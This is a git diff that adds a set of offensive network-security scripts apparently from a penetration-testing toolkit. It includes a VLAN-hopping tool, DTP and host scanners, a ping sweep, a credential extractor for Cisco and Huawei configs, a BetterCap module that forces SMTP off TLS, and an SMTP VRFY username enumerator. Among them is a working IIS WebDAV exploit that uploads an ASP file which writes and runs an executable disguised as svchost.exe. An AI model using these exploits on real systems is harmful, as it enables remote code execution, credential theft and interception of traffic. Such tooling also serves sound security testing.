action='store_true', help='Display debug output.') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['debug'] = args.debug + config['analyse'] = args.analyse + config['force'] = args.force + config['interface'] = args.interface + config['commands'] = args.command + config['exitcommands'] = args.exitcommand + + return args + +def main(argv): + global config + global stopThreads + + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + if os.getuid() != 0: + Logger.err('This program must be run as root.') + return False + + load_contrib('dtp') + + if not assure8021qCapabilities(): + Logger.err('Unable to proceed.') + return False + + if not opts.interface: + if not selectDefaultInterface(): + Logger.err('Could not find suitable interface. Please specify it.') + return False + + print('[>] Interface to work on: "{}"'.format(config['interface'])) + + config['origmacaddr'] = config['macaddr'] = getHwAddr(config['interface']) + if not config['macaddr']: + Logger.err('Could not acquire MAC address of interface: "{}"'.format( + config['interface'] + )) + return False + else: + Logger.dbg('Interface "{}" has MAC address: "{}"'.format( + config['interface'], config['macaddr'] + )) + + config['inet'] = getIfaceIP(config['interface']) + if not config['inet']: + Logger.fail('Could not acquire interface\'s IP address! Proceeding...') + + oldMac = config['macaddr'] + if opts.mac: + oldMac = changeMacAddress(config['interface'], opts.mac) + if oldMac: + config['macaddr'] = opts.mac + else: + Logger.err('Could not change interface\'s MAC address!') + return False + + t = threading.Thread(target = sniffThread) + t.daemon = True + t.start() + + try: + while True: + pass + except KeyboardInterrupt: + print('\n[>] Cleaning up...') + + stopThreads = True + time.sleep(3) + + cleanup() + return True + +if __name__ == '__main__': + main(sys.argv) diff --git a/networks/dtpscan.py b/networks/dtpscan.py new file mode 100644 index 0000000..8ff86d9 --- /dev/null +++ b/networks/dtpscan.py @@ -0,0 +1,155 @@ +#!/usr/bin/python + +# +# Simple script showing configuration of the DTP protocol on +# the switch's port. This reconessaince will be helpful for performing +# VLAN Hopping attacks. +# +# Mariusz B. / mgeeky, '18 +# + +import os +import sys +from scapy.all import * + +config = { + 'count' : 10, + 'timeout' : 90 +} + +ciscoConfigMaps = { + 2: ''' + ACCESS/OFF/ACCESS + Administrative Mode: static access + Operational Mode: static access + Administrative Trunking Encapsulation: dot1q + Operational Trunking Encapsulation: native + Negotiation of Trunking: Off''', + + 3: ''' + ACCESS/DESIRABLE/ACCESS + Administrative Mode: dynamic desirable + Operational Mode: static access + Administrative Trunking Encapsulation: dot1q + Operational Trunking Encapsulation: native + Negotiation of Trunking: On''', + 4: ''' + ACCESS/AUTO/ACCESS + Administrative Mode: dynamic auto + Operational Mode: static access + Administrative Trunking Encapsulation: dot1q + Operational Trunking Encapsulation: native + Negotiation of Trunking: On''', + + 0x81: ''' + TRUNK/ON/TRUNK + Administrative Mode: trunk + Operational Mode: trunk + Administrative Trunking Encapsulation: dot1q + Operational Trunking Encapsulation: dot1q + Negotiation of Trunking: On''', +} + +def showConfig(stat): + if stat in ciscoConfigMaps.keys(): + print(ciscoConfigMaps[stat]) + +def inspectPacket(dtp): + tlvs = dtp['DTP'].tlvlist + + stat = -1 + for tlv in tlvs: + if tlv.type == 2: + # TLV: DTPStatus + stat = ord(tlv.status) + break + + print(' ' + '=' * 60) + if stat == -1: + print('[!] Something went wrong: Got invalid DTP packet.') + print(' ' + '=' * 60) + return False + + elif stat == 2: + print('[-] DTP disabled, Switchport in Access mode configuration') + print('[-] VLAN Hopping via Switch Spoofing/trunking IS NOT possible.') + print('\n\tSWITCH(config-if)# switchport mode access') + + elif stat == 3: + print('[+] DTP enabled, Switchport in default configuration') + print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.') + print('\n\tSWITCH(config-if)# switchport dynamic desirable (or none)') + + elif stat == 4 or stat == 0x84: + print('[+] DTP enabled, Switchport in Dynamic Auto configuration') + print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.') + print('\n\tSWITCH(config-if)# switchport mode dynamic auto') + + elif stat == 0x81: + print('[+] DTP enabled, Switchport in Trunk configuration') + print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.') + print('\n\tSWITCH(config-if)# switchport mode trunk') + + elif stat == 0xa5: + print('[?] DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration') + print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.') + print('\n\tSWITCH(config-if)# switchport mode trunk 802.1Q') + + elif stat == 0x42: + print('[?] DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration') + print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.') + print('\n\tSWITCH(config-if)# switchport mode trunk ISL') + + showConfig(stat) + print(' ' + '=' * 60) + + return True + +def packetCallback(pkt): + print('[>] Packet: ' + pkt.summary()) + +def main(argv): + if os.getuid() != 0: + print('[!] This program must be run as root.') + return False + + load_contrib('dtp') + + print('[*] Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format( + config['count'], config['timeout'] + )) + + dtps = sniff( + count = config['count'], + filter = 'ether[20:2] == 0x2004', + timeout = config['timeout'], + prn = packetCallback, + stop_filter = lambda x: x.haslayer(DTP) + ) + + if len(dtps) == 0: + print('[-] It seems like there was no DTP frames transmitted.') + print('[-] VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):') + print('\n\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ') + print('\tSWITCH(config-if)# switchport mode access') + return False + + print('[*] Got {} DTP frames.\n'.format( + len(dtps) + )) + + success = False + for dtp in dtps: + if dtp.haslayer(DTP): + if inspectPacket(dtp): + success = True + break + + if not success: + print('[-] Received possibly corrupted DTP frames! General failure.') + + print('') + return success + +if __name__ == '__main__': + main(sys.argv) diff --git a/networks/host-scanner-via-udp.py b/networks/host-scanner-via-udp.py new file mode 100644 index 0000000..d19c8d1 --- /dev/null +++ b/networks/host-scanner-via-udp.py @@ -0,0 +1,257 @@ +#!/usr/bin/python + +# +# Simple UDP scanner determining whether scanned host replies with +# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port. +# +# Based on "Black Hat Python" book by Justin Seitz. +# +# Mariusz B. +# + +import os +import sys +import time +import ctypes +import struct +import socket +import threading +from datetime import datetime + +try: + from netaddr import IPNetwork, IPAddress +except ImportError: + print('[!] No module named "netaddr". Please type:\n\tpip install netaddr') + sys.exit(1) + +DEBUG = False + +# Ports that will be used during scanning, considered as most likely closed ports. +SCAN_PORTS = range(65212, 65220) + +HOSTS_UP = set() +MAGIC_MESSAGE = '\xec\xcb\x5c\x6f\x41\xbe\x2e\x71\x9e\xd1' + + +class ICMP(ctypes.Structure): + _fields_ = [ + ('type', ctypes.c_ubyte), + ('code', ctypes.c_ubyte), + ('chksum', ctypes.c_ushort), + ('unused', ctypes.c_ushort), + ('nexthop', ctypes.c_ushort) + ] + + def __new__(self, sockBuff = None): + return self.from_buffer_copy(sockBuff) + + def __init__(self, sockBuff = None): + self.types_map = { + 0:'Echo Reply',1:'Unassigned',2:'Unassigned ',3:'Destination Unreachable', + 4:'Source Quench',5:'Redirect',6:'Alternate Host Address',7:'Unassigned', + 8:'Echo',9:'Router Advertisement',10:'Router Solicitation',11:'Time Exceeded', + 12:'Parameter Problem',13:'Timestamp',14:'Timestamp Reply',15:'Information Request', + 16:'Information Reply',17:'Address Mask Request',18:'Address Mask Reply', + 30:'Traceroute',31:'Datagram Conversion Error',32:'Mobile Host Redirect', + 33:'IPv6 Where-Are-You',34:'IPv6 I-Am-Here',35:'Mobile Registration Request', + 36:'Mobile Registration Reply',37:'Domain Name Request',38:'Domain Name Reply', + 39:'SKIP',40:'Photuris' + } + + # Human readable protocol + try: + self.message = self.types_map[self.type] + except: + self.message = str('') + +# +# IPv4 packet structure definition in ctypes. +# +class IP(ctypes.Structure): + _fields_ = [ + ('ihl', ctypes.c_ubyte, 4), + ('version', ctypes.c_ubyte, 4), + ('tos', ctypes.c_ubyte), + ('len', ctypes.c_ushort), + ('id', ctypes.c_ushort), + ('offset', ctypes.c_ushort), + ('ttl', ctypes.c_ubyte), + ('protocol_num', ctypes.c_ubyte), + ('sum', ctypes.c_ushort), + ('src', ctypes.c_ulong), + ('dst', ctypes.c_ulong) + ] + + def __new__(self, socketBuffer = None): + return self.from_buffer_copy(socketBuffer) + + def __init__(self, socketBuffer = None): + # Map protocol constants to their names. + self.protocol_map = { + 0:'HOPOPT',1:'ICMP',2:'IGMP',3:'GGP',4:'IPv4',5:'ST',6:'TCP',7:'CBT',8:'EGP', + 9:'IGP',10:'BBN-RCC-MON',11:'NVP-II',12:'PUP',13:'ARGUS',14:'EMCON',15:'XNET',16:'CHAOS', + 17:'UDP',18:'MUX',19:'DCN-MEAS',20:'HMP',21:'PRM',22:'XNS-IDP',23:'TRUNK-1',24:'TRUNK-2', + 25:'LEAF-1',26:'LEAF-2',27:'RDP',28:'IRTP',29:'ISO-TP4',30:'NETBLT',31:'MFE-NSP',32:'MERIT-INP', + 33:'DCCP',34:'3PC',35:'IDPR',36:'XTP',37:'DDP',38:'IDPR-CMTP',39:'TP++',40:'IL', + 41:'IPv6',42:'SDRP',43:'IPv6-Route',44:'IPv6-Frag',45:'IDRP',46:'RSVP',47:'GRE',48:'DSR', + 49:'BNA',50:'ESP',51:'AH',52:'I-NLSP',53:'SWIPE',54:'NARP',55:'MOBILE',56:'TLSP', + 57:'SKIP',58:'IPv6-ICMP',59:'IPv6-NoNxt',60:'IPv6-Opts',62:'CFTP',64:'SAT-EXPAK', + 65:'KRYPTOLAN',66:'RVD',67:'IPPC',69:'SAT-MON',70:'VISA',71:'IPCV',72:'CPNX', + 73:'CPHB',74:'WSN',75:'PVP',76:'BR-SAT-MON',77:'SUN-ND',78:'WB-MON',79:'WB-EXPAK',80:'ISO-IP', + 81:'VMTP',82:'SECURE-VMTP',83:'VINES',84:'TTP',84:'IPTM',85:'NSFNET-IGP',86:'DGP',87:'TCF',88:'EIGRP', + 89:'OSPFIGP',90:'Sprite-RPC',91:'LARP',92:'MTP',93:'AX.25',94:'IPIP',95:'MICP',96:'SCC-SP', + 97:'ETHERIP',98:'ENCAP',100:'GMTP',101:'IFMP',102:'PNNI',103:'PIM',104:'ARIS', + 105:'SCPS',106:'QNX',107:'A/N',108:'IPComp',109:'SNP',110:'Compaq-Peer',111:'IPX-in-IP',112:'VRRP', + 113:'PGM',115:'L2TP',116:'DDX',117:'IATP',118:'STP',119:'SRP',120:'UTI', + 121:'SMP',122:'SM',123:'PTP',124:'ISIS',125:'FIRE',126:'CRTP',127:'CRUDP',128:'SSCOPMCE', + 129:'IPLT',130:'SPS',131:'PIPE',132:'SCTP',133:'FC',134:'RSVP-E2E-IGNORE',135:'Mobility',136:'UDPLite', + 137:'MPLS-in-IP',138:'manet',139:'HIP',140:'Shim6',141:'WESP',142:'ROHC' + } + + # Human readable IP addresses. + self.src_address = socket.inet_ntoa(struct.pack(' ') + sys.exit(1) + + bindAddr = sys.argv[1] + subnet = sys.argv[2] + + sockProto = None + if os.name == 'nt': + sockProto = socket.IPPROTO_IP + else: + sockProto = socket.IPPROTO_ICMP + + sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto) + if DEBUG: print('[.] Binding on {}:0'.format(bindAddr)) + sniffer.bind((bindAddr, 0)) + + # Include IP headers in the capture + sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + # In Windows, set up promiscous mode. + if os.name == 'nt': + try: + sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + except socket.error, e: + print('[!] Could not set promiscous mode ON: "{}"'.format(str(e))) + + # Sending thread + threading.Thread(target=udpSend, args=(subnet, MAGIC_MESSAGE)).start() + + # Receiving thread + recvThread = threading.Thread(target=processPackets, args=(sniffer, subnet)) + recvThread.daemon = True + recvThread.start() + + time.sleep(15) + if DEBUG: print('[.] Breaking response wait loop.') + + # Turn off promiscous mode + if os.name == 'nt': + try: + sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + except socket.error, e: + pass + +if __name__ == '__main__': + main(sys.argv) diff --git a/networks/iis_webdav_upload.py b/networks/iis_webdav_upload.py new file mode 100644 index 0000000..a705c84 --- /dev/null +++ b/networks/iis_webdav_upload.py @@ -0,0 +1,99 @@ +#!/usr/bin/python + +import requests +import string +import random +import sys + + +def randstring(N = 6): + return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) + +if __name__ == '__main__': + if len(sys.argv) != 3: + print 'Usage: webdav_upload.py ' + sys.exit(0) + + sc = '' + with open(sys.argv[2], 'rb') as f: + bytes = f.read() + sc = 'sc = Chr(%d)' % ord(bytes[0]) + for i in range(1, len(bytes)): + if i % 100 == 0: + sc += '\r\nsc = sc' + sc += '&Chr(%d)' % ord(bytes[i]) + + put_request = '''<%% @language="VBScript" %%> +<%% + Sub webdav_upload() + Dim fs + Set fs = CreateObject("Scripting.FileSystemObject") + Dim str + Dim tmp + Dim tmpexe + Dim sc + %(shellcode)s + Dim base + Set tmp = fs.GetSpecialFolder(2) + base = tmp & "\" & fs.GetTempName() + fs.CreateFolder(base) + tmpexe = base & "\" & "svchost.exe" + Set str = fs.CreateTextFile(tmpexe, 2, 0) + str.Write sc + str.Close + Dim shell + Set shell = CreateObject("Wscript.Shell") + shell.run tmpexe, 0, false + End Sub + + webdav_upload +%%>''' % {'shellcode' : sc} + + print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit' + print '\t(based on Metasploit HDM\'s implementation)' + print '\tMariusz B. / mgeeky, 2016\n' + + host = sys.argv[1] + if not host.startswith('http'): + host = 'http://' + host + outname = '/file' + randstring(6) + '.asp;.txt' + + print 'Step 0: Checking if file already exist: "%s"' % (host + outname) + r = requests.get(host + outname) + if r.status_code == requests.codes.ok: + print 'Resource already exists. Exiting...' + sys.exit(1) + else: + print '[*] File does not exists. That\'s good.' + + print '\nStep 1: Upload file with improper name: "%s"' % (host + outname) + print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request) + + r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'}) + + if r.status_code < 200 or r.status_code >= 300: + print '[!] Upload failed. Status: ' + str(r.status_code) + sys.exit(1) + else: + print '[+] File uploaded.' + + newname = outname.replace(';.txt', '') + print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname) + + r = requests.request('move', host + outname, headers={'Destination':newname}) + + if r.status_code < 200 or r.status_code >= 300: + print '[!] Renaming operation failed. Status: ' + str(r.status_code) + sys.exit(1) + else: + print '[+] File renamed, splendid my lord.' + + print '\nStep 3: Executing resulted payload file (%s).' % (host + newname) + r = requests.get(host + newname) + + if r.status_code < 200 or r.status_code >= 300: + print '[!] Execution failed. Status: ' + str(r.status_code) + print '[!] Response: ' + r.text + sys.exit(1) + else: + print '[+] File has been launched. Game over.' diff --git a/networks/networkConfigurationCredentialsExtract.py b/networks/networkConfigurationCredentialsExtract.py new file mode 100644 index 0000000..6039c84 --- /dev/null +++ b/networks/networkConfigurationCredentialsExtract.py @@ -0,0 +1,362 @@ +#!/usr/bin/python + +# +# Script intendend to sweep Cisco, Huawei and possibly other network devices +# configuration files in order to extract plain and cipher passwords out of them. +# +# Mariusz B., mgeeky '18 +# + +import re +import os +import sys +import argparse + +# +# In order to extend capabilities of this script, one can add custom entries +# to the below dictionary. Contents are: +# regexes = { +# 'Technology' : { +# 'Pattern Name' : r'pattern', +# } +# } +# +regexes = { + 'Cisco' : { + 'Enable secret' : r'enable secret \d+ \bcrypt', + 'Privileged command level password' : r'password \password', + 'Enable password' : r'enable password \password', + 'Enable password(2)' : r'enable password level \d+ \password', + 'Username/password' : r'username \name .*(?:password|secret \d) \password', + 'HSRP Authentication string' : r'standby \d+ authentication \password', + 'HSRP Authentication Text' : r'authentication text \password', + 'HSRP Authentication MD5 key-string': r'standby \d+ authentication md5 key-string \keystring', + 'OSPF Authentication string' : r'ip ospf authentication-key \password', + 'OSPF Authentication MD5 string' : r'ip ospf message-digest-key \d+ md5 \password', + 'EIGRP Key-string' : r'key-string \password', + 'BGP Neighbor Authentication' : r'neighbor (\ip) password 7 \hash', + 'AAA RADIUS Server Auth-Key' : r'server-private \ip auth-port \d+ acct-port \d+ key \d+ \hash', + 'NTP Authentication MD5 Key' : r'ntp authentication-key \d+ md5 \password \d', + 'TACACS-Server' : r'tacacs-server host \ip key \d \hash', + 'RADIUS Server Key' : r'key 7 \hash', + 'SNMP-Server User/Password' : r'snmp-server user \name [\w-]+ auth md5 0x\hash priv 0x\hash localizedkey', + 'FTP Server Username' : r'ip ftp username \name', + 'FTP Server Password' : r'ip ftp password \password', + }, + + 'Cisco ASA' : { + 'Username and Password' : r'username \name .*password \password', + 'LDAP Login password' : r'ldap-login-password \password', + 'SNMP-Server authentication' : r'snmp-server user \name snmp-read-only-group v\d engineID \hash encrypted auth md5 ([0-9a-fA-F\:]+) priv aes 256 ([0-9a-fA-F\:]+)', + }, + + 'Huawei' : { + 'VTY User interface' : r'set authentication password cipher \password', + 'Local User' : r'local-user \name password (?:cipher|irreversible-cipher) \password', + 'NTP Authentication' : r'ntp-service authentication-keyid \d+ authentication-mode (md5|hmac-sha256) (?:cipher)?\s*\password', + 'RADIUS Server Shared-Key' : r'radius-server shared-key cipher \password', + 'RADIUS Server Authorization' : r'radius-server authorization \ip shared-key cipher \password', + 'TACACS-Server Shared-Key Cipher' : r'hwtacacs-server shared-key cipher \password', + 'SNMP-Agent Authentication MD5' : r'snmp-agent [\w-]+ v\d \name authentication-mode md5 \password', + 'SNMP-Agent Authentication AES' : r'snmp-agent [\w-]+ v\d \name privacy-mode aes128 \password', + }, + + 'Checkpoint gateway' : { + 'SNMP User' : r'add snmp usm user \name security-level \w+ auth-pass-phrase-hashed \hash privacy-pass-phrase-hashed \hash privacy-protocol DES', + 'Expert Password Hash' : r'set expert-password-hash \bcrypt', + 'TACACS Authentication Key' : r'add aaa tacacs-servers priority \d+ server \ip key \password', + 'User password-hash' : r'set user \name password-hash \bcrypt', + }, + + 'F5 BIG-IP' : { + 'Username and password' : r'manage user table create \name -pw \password', + 'Configuration Sync Password' : r'redundancy config-sync sync-session-password set \password', + }, + + 'PaloAlto Proxy' : { + 'Active Directory Auth password' : r'([^<]+)', + 'NTLM Password' : r'([^<]+)', + 'Agent User key' : r'([^<]+)', + 'User Password Hash' : r'([^<]+)', + }, + + 'Others' : { + 'Other uncategorized password' : r'.* password \password.*', + 'Other uncategorized XML password' : r'password>([^<]+)<', + 'Other uncategorized authentication string' : r'.* authentication \password.*', + 'Other hash-key related' : r'.* key \hash', + }, +} + +config = { + 'verbose' : False, + 'debug' : False, + 'lines' : 0, + 'output' : 'normal', + 'csv_delimiter' : ';', + 'no_others' : False, +} + +markers = { + 'name' : r'([\w-]+|\"[\w-]+\")', + 'ip' : r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', + 'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})', + 'hash' : r'([a-fA-F0-9]{20,})', + 'bcrypt' : r'([\$\w\.\/]+)', + 'password': r'(?:\d\s+)?([^\s]+)', + 'keystring': r'([a-f0-9]+)', +} + +foundCreds = set() + +maxTechnologyWidth = 0 +maxRegexpWidth = 0 + +results = set() + +class Logger: + @staticmethod + def _out(x): + if config['debug'] or config['verbose']: + sys.stdout.write(x + '\n') + + @staticmethod + def dbg(x): + if config['debug']: + sys.stdout.write('[dbg] ' + x + '\n') + + @staticmethod + def out(x): + Logger._out('[.] ' + x) + + @staticmethod + def info(x): + Logger._out('[?] ' + x) + + @staticmethod + def err(x): + Logger._out('[!] ' + x) + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + +def processRegex(inputRegex): + for marker in markers: + if '\\' + marker in inputRegex: + inputRegex = inputRegex.replace('\\' + marker, markers[marker]) + + inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex) + return inputRegex + +def matchLines(lines, technology): + global foundCreds + global results + + num = 0 + + for rex in regexes[technology]: + for idx in range(len(lines)): + line = lines[idx].strip() + + if line in foundCreds: + continue + + processedRex = processRegex(regexes[technology][rex]) + matched = re.match(processedRex, line, re.I) + if matched: + num += 1 + + foundCreds.add(line) + creds = '", "'.join(matched.groups(1)) + + results.add(( + technology, rex, creds + )) + + Logger._out('[+] {}: {}: {}'.format( + technology, rex, creds + )) + + if idx - config['lines'] >= 0: + for i in range(idx - config['lines'], idx): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + + if config['lines'] != 0: + Logger._out('[{:04}]==>\t{}'.format(idx, line)) + else: + Logger._out('[{:04}]\t\t{}'.format(idx, line)) + + if idx + 1 + config['lines'] < len(lines): + for i in range(idx + 1, idx + config['lines'] + 1): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + + Logger.dbg('\tRegex used: [ {} ]'.format(processedRex)) + return num + +def processFile(file): + lines = [] + + Logger.info('Processing file: "{}"'.format(file)) + with open(file, 'r') as f: + lines = [ line.strip() for line in f.readlines()] + + num = 0 + for technology in regexes: + if technology == 'Others': + continue + + num0 = matchLines(lines, technology) + num += num0 + + if not config['no_others']: + num0 = matchLines(lines, 'Others') + if num0 == 0: + print('') + num += num0 + + return num + +def processDir(dirname): + num = 0 + for filename in os.listdir(dirname): + newfilename = os.path.join(dirname, filename) + if os.path.isdir(newfilename): + num += processDir(newfilename) + elif os.path.isfile(newfilename): + num += processFile(newfilename) + return num + +def parseOptions(argv): + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') + parser.add_argument('file', metavar='', type=str, help='Config file or directory to process.') + parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.') + parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'") + parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.') + parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') + + if len(argv) < 2: + parser.print_help() + return False + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['debug'] = args.debug + config['lines'] = args.lines + config['no_others'] = args.no_others + + if args.format == 'raw': + config['output'] = 'raw' + elif args.format == 'tabular': + config['output'] = 'tabular' + elif args.format == 'csv': + config['output'] = 'csv' + else: + config['output'] == 'normal' + + return args + +def printResults(): + global maxTechnologyWidth + global maxRegexpWidth + + # CSV Columns + cols = ['technology', 'name', 'hashes'] + + def _print(technology, rex, creds): + if config['output'] == 'tabular': + print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format( + technology, rex, creds, + width1 = maxTechnologyWidth, width2 = maxRegexpWidth + )) + elif config['output'] == 'raw': + credstab = creds.split('", "') + longest = '' + + for passwd in credstab: + if len(passwd) > len(longest): + longest = passwd + + print('{}'.format( + passwd + )) + elif config['output'] == 'csv': + creds = '"{}"'.format(creds) + rex = rex.replace(config['csv_delimiter'], ' ') + #creds = creds.replace(config['csv_delimiter'], ' ') + print(config['csv_delimiter'].join([technology, rex, creds])) + else: + print('[+] {}: {}: "{}"'.format( + technology, rex, creds + )) + + maxTechnologyWidth = 0 + maxRegexpWidth = 0 + + for result in results: + technology, rex, creds = result + if len(technology) > maxTechnologyWidth: + maxTechnologyWidth = len(technology) + + if len(regexes[technology][rex]) > maxRegexpWidth: + maxRegexpWidth = len(regexes[technology][rex]) + + maxTechnologyWidth = maxTechnologyWidth + 3 + maxRegexpWidth = maxRegexpWidth + 3 + + if config['output'] == 'normal' or config['output'] == 'tabular': + print('\n=== CREDENTIALS FOUND:') + elif config['output'] == 'csv': + print(config['csv_delimiter'].join(cols)) + + for result in results: + technology, rex, creds = result + if technology == 'Others': continue + _print(technology, rex, creds) + + if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'): + print('\n=== BELOW LINES MAY BE FALSE POSITIVES:') + + for result in results: + technology, rex, creds = result + if technology != 'Others': continue + _print(technology, rex, creds) + +def main(argv): + Logger._out(''' + :: Network-configuration Credentials extraction script + Mariusz B. / mgeeky, '18 +''') + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + count = 0 + for technology in regexes: + count += len(regexes[technology]) + + Logger.info('Capable of matching: {} patterns containing credentials.'.format(count)) + + num = 0 + if os.path.isfile(opts.file): + num = processFile(opts.file) + elif os.path.isdir(opts.file): + num = processDir(opts.file) + else: + Logger.err('Please provide either file or directory on input.') + return False + + printResults() + + if config['output'] == 'normal' or config['output'] == 'tabular': + print('\n[>] Found: {} credentials.'.format(num)) + +if __name__ == '__main__': + main(sys.argv) diff --git a/networks/nmap-grep-to-table.sh b/networks/nmap-grep-to-table.sh new file mode 100644 index 0000000..2bc2c33 --- /dev/null +++ b/networks/nmap-grep-to-table.sh @@ -0,0 +1,37 @@ +#!/bin/bash + +# +# Simple script converting nmap's greppable output into a +# printable per-host table with protocol, port, state and service +# columns in it. +# + +# +# WARNING: +# This script looks for gnmap (-oG) files within +# current working directory (cwd) +# + +for host in $(find -name "*.gnmap" | sort -t'.' -n -k5) +do + if cat $host | grep -q "Status: Up" && cat $host | grep -q "Ports:"; then + hostip=$(grep Ports $host | cut -d' ' -f2) + ports=$(cat ${hostip}*.gnmap | grep Ports | cut -d: -f3 | sed 's:/, :\n:g' | awk '{$1=$1}1') + + IFS=$'\n' + + echo -e "\n\nHost: $hostip\n" + echo -e "Proto\t| Port\t| State\t\t| Service" + echo -e "----------------------------------------------------" + + for port in $ports + do + proto=$(echo $port | cut -d/ -f3) + portnum=$(echo $port | cut -d/ -f1) + state=$(echo $port | cut -d/ -f2) + service=$(echo $port | cut -d/ -f5) + + printf "%s\t| %-5s\t| %-13s\t| %s\n" $proto $portnum $state $service + done | sort -u -k3,3 -n + fi +done diff --git a/networks/pingsweep.py b/networks/pingsweep.py new file mode 100644 index 0000000..4671b9d --- /dev/null +++ b/networks/pingsweep.py @@ -0,0 +1,39 @@ +#!/usr/bin/python + +import sys +import netaddr +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from scapy.all import sr1, IP, ICMP + +PING_TIMEOUT = 3 +IFACE='eth0' + +if __name__ == '__main__': + print '\tQuick Ping Sweep\n' + + if len(sys.argv) != 2: + print '[?] Usage: pingsweep ' + sys.exit(0) + + net = sys.argv[1] + print 'Input network:', net + + responding = [] + network = netaddr.IPNetwork(net) + + for ip in network: + if ip == network.network or ip == network.broadcast: + continue + + # Send & wait for response for the ICMP Echo Request packet + reply = sr1( IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0 ) + + if not reply: + continue + + if int(reply.getlayer(ICMP).type) == 0 and int(reply.getlayer(ICMP).code) == 0: + print ip, ': Host is responding to ICMP Echo Requests.' + responding.append(ip) + + print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding)) \ No newline at end of file diff --git a/networks/smb-credential-leak.html b/networks/smb-credential-leak.html new file mode 100644 index 0000000..bec5680 --- /dev/null +++ b/networks/smb-credential-leak.html @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/networks/smtpdowngrade.rb b/networks/smtpdowngrade.rb new file mode 100644 index 0000000..81d5449 --- /dev/null +++ b/networks/smtpdowngrade.rb @@ -0,0 +1,42 @@ +=begin +Author : @mgeeky +Email : mb@binary-offensive.com +This project is released under the GPL 3 license. +=end + +class SMTPDowngrade < BetterCap::Proxy::TCP::Module + meta( + 'Name' => 'SMTPDowngrade', + 'Description' => 'Downgrades SMTP encryption by returning deny to STARTTLS request.', + 'Version' => '1.0.0', + 'Author' => 'mgeeky - mb@binary-offensive.com - https://github.com/mgeeky', + 'License' => 'GPL3' + ) + + def on_response(event) + if @respondwith != nil + BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Lying that SMTP server does not support SSL/TLS." + event.data = @respondwith + @respondwith = nil + end + + BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n" + end + + def on_data(event) + @respondwith = smtp_parse_request(event) + end + + def smtp_parse_request(event) + return nil if not event.data + + if event.data =~ /^STARTTLS\s*\r\n/ + BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command." + @respondwith = "454 4.7.0 TLS not available due to local problem\r\n" + + event.data = "HELP\r\n" + end + + BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n" + end +end diff --git a/networks/smtpvrfy.py b/networks/smtpvrfy.py new file mode 100644 index 0000000..325c552 --- /dev/null +++ b/networks/smtpvrfy.py @@ -0,0 +1,98 @@ +#!/usr/bin/python +# +# Simple script intended to abuse SMTP server's VRFY command to leak +# usernames having accounts registered within it. +# +# Mariusz B., 2016 +# + +import socket +import sys +import os + +# Specify below your default, fallback wordlist +DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt' +DEFAULT_TIMEOUT = 20 + +def interpret_smtp_status_code(resp): + code = int(resp.split(' ')[0]) + messages = { + 250:'Requested mail action okay, completed', + 251:'User not local; will forward to ', + 252:'Cannot VRFY user, but will accept message and attempt delivery', + 502:'Command not implemented', + 530:'Access denied (???a Sendmailism)', + 550:'Requested action not taken: mailbox unavailable', + 551:'User not local; please try ', + } + + if code in messages.keys(): + return '({} {})'.format(code, messages[code]) + else: + return '({} code unknown)'.format(code) + +def vrfy(server, username, port, timeout, brute=False): + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + + try: + conn = 